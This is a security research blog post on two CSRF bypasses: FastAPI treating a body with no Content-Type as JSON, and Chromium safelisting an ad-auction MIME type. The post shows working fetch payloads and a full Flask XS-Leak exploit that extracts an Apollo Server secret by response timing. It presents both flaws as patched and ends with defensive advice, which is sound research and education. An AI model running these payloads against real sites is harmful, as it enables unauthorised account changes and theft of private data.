There's a specific thing that happens when a vulnerability gets old. People stop worrying about it. It becomes the thing you mention in the security checklist, tick the box, and move on. CSRF has firmly hit that stage. The attack pattern is well understood, the defenses are documented everywhere, and most developers will tell you, with confidence, that they've handled it.
And that's exactly where things go sideways.
I've spent a while digging into CSRF scenarios that live in the corners; the ones that hit applications with existing protections, not just naively undefended endpoints. Two of them took me further than I expected when I first started looking, and both ended up becoming CTF challenges I published.
This post walks through both, from the browser mechanics down to real production code that got caught off guard.
A Quick Refresher on the Mechanics
Real quick, because the details matter for everything that follows.
CSRF works by tricking your browser into making a request to a site you're already logged into, without you knowing it's happening. The attacker doesn't need your password. They don't need to break any encryption. All they need is for your browser to fire a request while your session cookie is still alive, and if the target server doesn't verify where that request came from, it'll process it like any other.
If this is new territory, PortSwigger's Web Security Academy has a solid breakdown worth going through before reading further.
For CSRF to actually work, a few conditions have to line up at once:
- The victim has to visit a page the attacker controls. This is the trigger. No visit, no request.
- The victim has to be authenticated to the target site at the time of the visit, with their session cookie alive in the browser. If they logged out, or if the cookie expired, the request fires but lands as anonymous.
- The session cookie has to actually be sent on cross-origin requests, which depends on its
SameSiteattribute. Cookies set withSameSite=Strictwon't ride along on a cross-site request at all.SameSite=Lax(the modern default in most browsers) sends cookies on top-level navigations but blocks them on cross-originfetchandXMLHttpRequest. Only cookies explicitly markedSameSite=None; Securewill be attached to a cross-originfetch. Which, for the attacks in this post, is the configuration that has to be in place. - The browser has to actually let the request through. Same-Origin Policy and CORS gate most cross-origin requests behind a preflight check, but certain "simple" requests skip that step entirely. Those are the requests both scenarios in this post target.
The first three conditions are about the victim's environment. The fourth is where the bypass actually happens, and it's worth understanding in a bit more detail before we get to the scenarios.
When a page on one origin (say, attacker.com) tries to send a
request to a different origin (bank.com), the browser enforces the
Same-Origin Policy, which combined with CORS
(Cross-Origin Resource Sharing) creates a permission system. For anything the
browser considers a "complex" request, it does a preflight: an
OPTIONS request that essentially asks the server,
"are you expecting something like this?" If the server doesn't respond
with the right CORS headers, the browser kills the actual request before it
ever fires.
Solid protection; when it applies. There's a category called simple
requests that skip the preflight entirely. The browser just sends them,
no CORS negotiation, no questions asked. And one of the main factors that
determines whether a request is "simple" is its Content-Type header.
Per the WHATWG Fetch specification, only three Content-Type values
qualify a request as simple:
application/x-www-form-urlencodedmultipart/form-datatext/plain
Anything else, like application/json, custom types, or whatever,
triggers a preflight. So historically, a cross-origin POST with a JSON body was
safe: the preflight would catch it, and a server without permissive CORS would
reject the OPTIONS request.
But here's the thing. Attackers don't need to send JSON if the server is going to interpret their payload as JSON anyway. That's the gap both scenarios in this post live in.
Content-Type Is Not a Defense
Think about an application that receives a POST with a JSON body. It seems safe:
Content-Type: application/json triggers a preflight, and a
cross-origin request from attacker.com to bank.com
won't be allowed through.
But what if the application ignores the Content-Type it's sent and
just parses the body as JSON regardless? That assumption opens up three scenarios
worth thinking through:
- Send a JSON body with one of the three documented simple content types (the classic case).
- Omit the
Content-Typeheader entirely and send the JSON body anyway (Scenario 1). - Use a content type that was never documented as simple, but the browser treated as one anyway (Scenario 2).
Scenario 1: What if There's No Content-Type Header at All?
In November 2024, I published an open-source CTF challenge built around a FastAPI application. The vulnerable endpoint was a profile update:
@app.post("/profile/update", response_model=Dict[str, str])
async def update_profile(
update_data: ProfileUpdate,
current_user: Dict = Depends(get_current_user)
):
cursor.execute("""
UPDATE users SET email = ?, name = ? WHERE username = ?
""", (update_data.email, update_data.name, current_user["username"]))
conn.commit()
return {"message": "Profile updated successfully"}
Nothing suspicious on the surface. FastAPI validates the request body against a
Pydantic model (ProfileUpdate). The natural assumption is that for
FastAPI to parse the body as JSON, the request needs to arrive with
Content-Type: application/json, which would trigger a preflight,
and if the CORS policy didn't allow it, the browser would block the request.
That assumption turned out to be wrong.
Here's what FastAPI was actually doing under the hood at the time:
body_bytes = await request.body()
if body_bytes:
json_body: Any = Undefined
content_type_value = request.headers.get("content-type")
if not content_type_value:
json_body = await request.json()
else:
message = email.message.Message()
message["content-type"] = content_type_value
if message.get_content_maintype() == "application":
subtype = message.get_content_subtype()
if subtype == "json" or subtype.endswith("+json"):
json_body = await request.json()
There it is:
if not content_type_value:
json_body = await request.json()
If there's no Content-Type header at all, FastAPI
doesn't say "I don't know what this is." It says "must be JSON"
and parses it. The absence of a header became implicit permission to treat the
body as JSON.
(FastAPI has since
patched this.)
Turning It Into an Attack
When you write a fetch call with a JSON body in JavaScript, the
browser automatically attaches Content-Type: application/json. That
triggers a preflight. The CORS dance happens. The server either allows the
request or doesn't.
Wrapping the payload in a Blob without specifying a type means the
browser has nothing to attach. It sends the request with no
Content-Type header. No content type means it qualifies as a simple
request, which means no preflight, which means the request fires with the
victim's cookies, and FastAPI parses the body as JSON. Profile updated.
fetch('https://vulnerable-corp.com/profile/edit', {
method: "POST",
body: new Blob([JSON.stringify({ name: "pwn", email: "[email protected]" })]),
credentials: "include",
});
The chain is clean. No browser warnings, no preflight negotiation, no user interaction beyond visiting a page.
After the CTF went public, other researchers picked up on the technique. This write-up covers it from a different angle and is worth reading.
The lesson I took from this one: the absence of a Content-Type isn't
neutral. Depending on the framework, it can actually be more permissive
than sending one.
Scenario 2: The Content-Type That Chromium Quietly Added to the Safelist
This one took me longer to find, and it's the more interesting.
The WHATWG Fetch specification is very explicit about which content types qualify a request as simple. Three. That's the list.
The question I kept coming back to during this research was a simple one: do browsers actually implement the spec faithfully, to the letter?
Most developers just assume yes. The spec exists, browsers follow the spec, that's the contract. But browsers are enormous pieces of software, with millions of lines of code, decades of history, and constant feature additions on top of feature additions. It's not unreasonable to wonder whether something has slipped through.
So I went and read the source.
Firefox and WebKit: Spec-Compliant
Firefox's implementation:
bool nsContentUtils::IsAllowedNonCorsContentType(const nsACString& aHeaderValue) {
nsAutoCString contentType;
nsAutoCString unused;
if (IsCorsUnsafeRequestHeaderValue(aHeaderValue)) {
return false;
}
nsresult rv = NS_ParseRequestContentType(aHeaderValue, contentType, unused);
if (NS_FAILED(rv)) {
return false;
}
return contentType.LowerCaseEqualsLiteral("text/plain") ||
contentType.LowerCaseEqualsLiteral("application/x-www-form-urlencoded") ||
contentType.LowerCaseEqualsLiteral("multipart/form-data");
}
WebKit:
case HTTPHeaderName::ContentType: {
if (containsCORSUnsafeRequestHeaderBytes(value))
return false;
auto parsedContentType = ParsedContentType::create(value);
if (!parsedContentType)
return false;
String mimeType = parsedContentType->mimeType();
if (!(equalLettersIgnoringASCIICase(mimeType, "application/x-www-form-urlencoded"_s) ||
equalLettersIgnoringASCIICase(mimeType, "multipart/form-data"_s) ||
equalLettersIgnoringASCIICase(mimeType, "text/plain"_s)))
return false;
break;
}
Both check exactly three types. Both match the spec. Nothing unexpected.
Chromium Has a Fourth
bool IsCorsSafelistedLowerCaseContentType(const std::string& value) {
DCHECK_EQ(value, base::ToLowerASCII(value));
if (std::ranges::any_of(value, IsCorsUnsafeRequestHeaderByte)) {
return false;
}
std::optional<std::string> mime_type =
net::ExtractMimeTypeFromMediaType(value, false);
if (!mime_type.has_value()) {
return false;
}
return *mime_type == "application/x-www-form-urlencoded" ||
*mime_type == "multipart/form-data" || *mime_type == "text/plain" ||
(*mime_type == "message/ad-auction-trusted-signals-request" &&
base::FeatureList::IsEnabled(
features::kProtectedAudienceCorsSafelistKVv2Signals));
}
There's a fourth: message/ad-auction-trusted-signals-request.
This MIME type is part of Google's Privacy Sandbox initiative,
specifically the Protected Audience API, designed to enable interest-based
advertising without third-party cookies. The feature flag
kProtectedAudienceCorsSafelistKVv2Signals controls whether this type
is safelisted, and it's enabled by default.
(Chromium has since
patched this,
replacing the enabled-by-default feature flag with a per-request bool in
TrustedParams that only internal Protected Audiences code can set.
Web-initiated requests with this content type now trigger a preflight as
expected.)
So on unpatched versions of Chrome, Edge, Brave, and every other Chromium-based
browser, sending a cross-origin POST with
Content-Type: message/ad-auction-trusted-signals-request triggered
no preflight. The browser just sent it.
The WHATWG spec says three types. Chromium says four. No announcement, no flag in the release notes warning developers that CSRF defenses based on content-type blocking had gained a new bypass vector baked in by default.
The Attack
Since CSRF defenses built around content-type blocking maintain a list of the
three spec-defined simple types, message/ad-auction-trusted-signals-request
isn't on any of them. On unpatched Chromium, the request slid past:
fetch("https://vulnerable-corp.com/profile/update", {
method: "POST",
headers: { "Content-Type": "message/ad-auction-trusted-signals-request" },
body: JSON.stringify({ name: "pwn", email: "[email protected]" }),
credentials: "include"
});
Unpatched Chromium sent this with no preflight. If the server's body parser is configured to handle JSON regardless of content type (which, as we'll see in a moment, is common), the attack lands cleanly.
A Challenge Around This Pattern
To demonstrate properly, I built a second challenge around an Express.js application with a CSRF defense that genuinely tries to cover its bases:
const SIMPLE_CONTENT_TYPES = [
'application/x-www-form-urlencoded',
'multipart/form-data',
'text/plain',
''
];
function csrfProtection(req, res, next) {
if (req.method === 'OPTIONS') return next();
const contentType = (req.headers['content-type'] || '').split(';')[0].trim().toLowerCase();
if (SIMPLE_CONTENT_TYPES.includes(contentType))
return res.status(403).json({ error: 'Forbidden: simple content-type rejected (potential CSRF)' });
next();
}
app.use(express.json({ type: () => true }));
app.use(session({ secret: process.env.SECRET, resave: false, saveUninitialized: true }));
app.use(csrfProtection);
Read through it and two things stand out. First, this line sitting quietly at the top:
app.use(express.json({ type: () => true }));
type: () => true tells Express to attempt JSON body parsing on
every single incoming request, regardless of Content-Type. It's a
convenience pattern. You don't have to think about content negotiation in your
route handlers, everything just arrives as a parsed object.
Second, the middleware itself is built around a blacklist of content types it
considers dangerous. It's actually thoughtful about it: it strips parameters from
the header (so application/json; charset=utf-8 gets normalized to
application/json before the check), it blocks all three simple
types, and it even blocks the empty string '', meaning the
Blob trick from Scenario 1 is explicitly patched here.
So the model is: parse everything as JSON, then reject the request if the content type looks like a CSRF attempt. Which sounds reasonable until you realize the blacklist can only block content types it knows about.
When a request arrives with
Content-Type: message/ad-auction-trusted-signals-request:
- Express parses the body as JSON ✓
- The CSRF middleware checks the content type, which is not in the blocklist ✓
- The request passes through to the route handler ✓
- The handler receives a perfectly-formed object containing the attacker's payload ✓
fetch("https://vulnerable-corp.com/profile", {
method: "POST",
headers: { "Content-Type": "message/ad-auction-trusted-signals-request" },
body: JSON.stringify({ name: "pwned" }),
credentials: "include"
});
The challenge just updates a name value in the session, intentionally
simple, to keep the focus on the technique. But picture the same pattern on an
endpoint that changes a password, updates an account email, or initiates a
transfer. Same technique, very different consequences.
This Isn't Just a CTF Thing; Apollo Server and XS-Leak
While digging through Apollo Server's source on a white-box engagement, I came
across preventCsrf.ts and saw it uses the same blocklist approach
we just walked through:
import MIMEType from 'whatwg-mimetype';
import { BadRequestError } from './internalErrorClasses.js';
export const recommendedCsrfPreventionRequestHeaders = [
'x-apollo-operation-name',
'apollo-require-preflight',
];
const NON_PREFLIGHTED_CONTENT_TYPES = [
'application/x-www-form-urlencoded',
'multipart/form-data',
'text/plain',
];
export function preventCsrf(
headers: HeaderMap,
csrfPreventionRequestHeaders: string[],
) {
const contentType = headers.get('content-type');
if (contentType !== undefined) {
const contentTypeParsed = MIMEType.parse(contentType);
if (contentTypeParsed === null) {
return;
}
if (!NON_PREFLIGHTED_CONTENT_TYPES.includes(contentTypeParsed.essence)) {
return;
}
}
if (
csrfPreventionRequestHeaders.some((header) => {
const value = headers.get(header);
return value !== undefined && value.length > 0;
})
) {
return;
}
throw new BadRequestError(
`This operation has been blocked as a potential Cross-Site Request Forgery ` +
`(CSRF). Please either specify a 'content-type' header (with a type that ` +
`is not one of ${NON_PREFLIGHTED_CONTENT_TYPES.join(', ')}) or provide ` +
`a non-empty value for one of the following headers: ${csrfPreventionRequestHeaders.join(', ')}\n`,
);
}
The blocklist has the same three entries.
message/ad-auction-trusted-signals-request isn't one of them, so a
request carrying that content type passes the check, regardless of whether it's
a GET or POST.
You might think at this stage we can just send a POST with a mutation and have Apollo Server execute it, but there are two blockers:
- Apollo Server blocks mutations on GET requests; mutations are only allowed over POST.
- Apollo Server uses Express's built-in
body-parser, which only parses the body as JSON when theContent-Typeis strictlyapplication/json.
So POST is out: the bypass content type that gets us past preventCsrf
is the same thing that stops body-parser from parsing the body. That
leaves GET.
GET: The Way In
GET requests work differently. The query, operation name, variables, and extensions all come from URL parameters, with no body involved at all. Here's how Apollo handles them:
case 'GET': {
const searchParams = new URLSearchParams(httpRequest.search);
graphQLRequest = {
query: searchParamIfSpecifiedOnce(searchParams, 'query'),
operationName: searchParamIfSpecifiedOnce(searchParams, 'operationName'),
variables: jsonParsedSearchParamIfSpecifiedOnce(searchParams, 'variables'),
extensions: jsonParsedSearchParamIfSpecifiedOnce(searchParams, 'extensions'),
http: httpRequest,
};
break;
}
Since the operation lives in the URL, body-parser is irrelevant;
there's nothing for it to parse. The bypass content type satisfies
preventCsrf, the GET handler reads query straight out
of the search params, and the operation runs against the victim's session.
So we can run any query we want against the victim's session, but not mutations. That rules out classic CSRF and pushes the attack toward XS-Leak instead.
Building the XS-Leak
XS-Leak (cross-site leak) is a class of attack where the attacker infers information about a cross-origin response without being able to read it. Same-Origin Policy still hides the response body, but plenty of other things leak through side channels: how long the request took, how big the response was, whether it threw an error. Response timing is exposed through performance APIs, and response size shows up indirectly as download duration.
Here's the vulnerable setup, a small Apollo + Express app with a
searchNotes resolver that returns notes matching a substring. The
note text is what we'll be exfiltrating.
import { ApolloServer } from "@apollo/server";
import { expressMiddleware } from "@as-integrations/express5";
import express from "express";
import bodyParser from "body-parser";
import cors from "cors";
const notes = [
{ id: "1", text: "voorivex_secret123" },
];
const typeDefs = `#graphql
type Note {
id: ID!
text: String!
}
type Query {
notes: [Note!]!
searchNotes(query: String!): [Note!]!
}
`;
const resolvers = {
Query: {
notes: () => notes,
searchNotes: (_, { query }) =>
notes.filter(n => n.text.toLowerCase().includes(query.toLowerCase()))
}
};
const server = new ApolloServer({ typeDefs, resolvers });
const app = express();
await server.start();
app.use(
"/graphql",
cors(),
bodyParser.json(),
expressMiddleware(server)
);
app.listen(4000, () => console.log("🚀 Server ready at http://localhost:4000/graphql"));
Imagine voorivex_secret123 is something only the logged-in user is
supposed to see, like an API key, a private token, or internal data tied to the
session. Apollo's CSRF protection is in place. CORS is permissive but the
response is unreadable cross-origin.
The exploit chains three things together: the Chromium content-type bypass, Apollo's automatic persisted queries (APQ) cache, and a timing oracle on the response. Each one is doing real work, so it's worth walking through them in order.
Step 1: Pick the signal. We can't read the response, but we can measure how long it takes to arrive. Bigger response, longer download. So if we can make a "match" response much bigger than a "no match" response, the time difference becomes a reliable yes/no oracle.
GraphQL aliases make this easy. The same field can be requested under any
number of names in a single query (h1: text, h2: text, h3: text, ...),
and each alias produces its own copy of the value in the response. Ask for
text thousands of times and a search hit serializes the matched
note into every alias slot. A short secret balloons into tens of kilobytes.
Step 2: Get the heavy query into the victim's browser. Here's
the catch. The only path past preventCsrf +
body-parser is GET, and GET has to fit in a URL. Express's default
limit is 16 KB for the entire request (URL + headers combined), so a 99,000-
character selection set is nowhere close to fitting.
Apollo's automatic persisted queries (APQ) solve this for us. APQ is a performance feature: instead of sending the full query text on every request, the client sends a SHA-256 hash and Apollo looks up the operation from a cache. The first time a hash is seen, the client sends the full query and Apollo caches it. From then on, the short hash is enough to trigger the same operation.
The attacker primes this cache server-to-server. They register 36 cached queries
(one per candidate character [a-z0-9]) by POSTing each one to
Apollo with a normal application/json content type. Each query
searches for prefix + candidate_char and carries thousands of
text aliases as padding. Apollo stores them, and from then on each
one is addressable by a 64-character hash.
The URL problem dissolves. The 99,000-character query lives on the server, the victim's browser only sends the hash.
Step 3: Probe from the victim's browser. The victim visits the
attacker's page. The page fires GET requests to Apollo, one per hash. The
Content-Type: message/ad-auction-trusted-signals-request header
gets each request past preventCsrf, unpatched Chromium skips the preflight,
and the request fires with the victim's cookies attached. Apollo executes the
cached query against the victim's data.
The response is unreadable cross-origin, but
performance.getEntriesByName(url).duration exposes how long it
took. No match returns in single-digit milliseconds. A match (with its tens of
kilobytes of inflated response) takes longer.
Step 4: Walk the secret one character at a time. When a hash
comes back SLOW, the attacker knows that hash's candidate
character matches the next position in the secret. Append it to the known
prefix, prime 36 new cached queries, probe again, repeat. The full secret
reconstructs character by character, entirely from a page the attacker
controls, against a server with CSRF protection enabled, against responses the
browser will never let the attacker read directly.
Here's the full exploit, a Flask app that automates the loop. It runs on the
attacker's domain, and the victim only has to visit /:
from flask import Flask, request, render_template_string, redirect, url_for
import requests
import hashlib
import random
import json
app = Flask(__name__)
GRAPHQL_ENDPOINT = "http://127.0.0.1:4000/graphql"
def build_query(prefix):
generated_chars = ""
limited_chars = 99000
while limited_chars > len(generated_chars):
generated_chars += (
"h"
+ str(random.random()).split(".")[1].replace("-", "")
+ ":text@include(if:true),"
)
return f'{{searchNotes(query:"{prefix}"){{{generated_chars}}}}}'
def create_cache_for_prefix(prefix):
"""Generate the huge GraphQL query and send persistedQuery POST"""
chars = [
"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z",
"0","1","2","3","4","5","6","7","8","9"
]
generated_queries = {}
for i in chars:
generated_query = build_query(f"{prefix}{i}")
m = hashlib.sha256()
m.update(generated_query.encode("utf-8"))
body = {
"query": generated_query,
"extensions": {
"persistedQuery": {"version": 1, "sha256Hash": m.hexdigest()}
},
}
requests.post(
GRAPHQL_ENDPOINT,
data=json.dumps(body),
headers={"content-type": "application/json"},
)
generated_queries[m.hexdigest()] = i
return generated_queries
@app.route("/")
def index():
prefix = request.args.get("prefix")
if prefix:
# When prefix exists, create cache
sha = create_cache_for_prefix(prefix)
return render_template_string(
TEMPLATE_JS,
prefix=prefix,
sha=sha
)
# Initial form
return """
<!DOCTYPE html>
<html>
<head>
<title>Apollo Server XS-Leak Demo</title>
</head>
<body>
<pre><h1>Apollo Server XS-Leak Demo</h1></pre>
</body>
</html>
"""
@app.route("/refresh")
def refresh():
new_prefix = request.args.get("prefix")
return redirect(url_for("index", prefix=new_prefix))
TEMPLATE_JS = """
<!DOCTYPE html>
<html>
<head><title>Apollo Server XS-Leak Demo</title></head>
<body>
<pre>
<h1>Apollo Server XS-Leak Demo</h1>
<h3>Exfiltrated characters: '{{prefix}}'</h3>
</pre>
<script>
async function getNetworkDuration(url) {
await fetch(url, {mode: 'no-cors', credentials: 'include', headers: {"Content-Type": "message/ad-auction-trusted-signals-request"}});
await new Promise(r => setTimeout(r, 200));
let res = performance.getEntriesByName(new URL(url).href).pop();
return res.duration < 10;
}
async function check(hash_list) {
for (const hash of Object.keys(hash_list)) {
const url = `http://victim.com:4000/graphql?extensions={"persistedQuery":{"version":1,"sha256Hash":"${hash}"}}`;
let results = [];
for (let i = 0; i < 5; i++) {
results.push(await getNetworkDuration(url));
}
let detected = results.every(v => v === false) ? "SLOW" : "FAST";
if (detected === "SLOW") {
window.location = `/refresh?prefix={{prefix}}${hash_list[hash]}`;
break;
}
}
}
const hash_list = {{sha|safe}};
check(hash_list);
</script>
</body>
</html>
"""
if __name__ == "__main__":
app.run(port=80, debug=True)
Demo video showing the full extraction:
Takeaways
Content-type-based CSRF defenses share a common assumption: that the set of "simple" content types is small, known, and stable. Both scenarios in this post broke that assumption from a different direction. Scenario 1 broke it on the server, where a framework decided that no content type meant JSON. Scenario 2 broke it in the browser, where Chromium quietly grew the safelist for an ads API and every blocklist downstream became incomplete by default.
The robust answer hasn't changed: don't rely on content-type checks
alone. Anti-CSRF tokens, Origin / Referer
validation, and SameSite cookies all do work that a content-type
blocklist can't. Use them in combination, and threat-model what an attacker
gains by forcing a request through, not just whether the request mutates state.
Hope you liked this one. Happy hacking ;)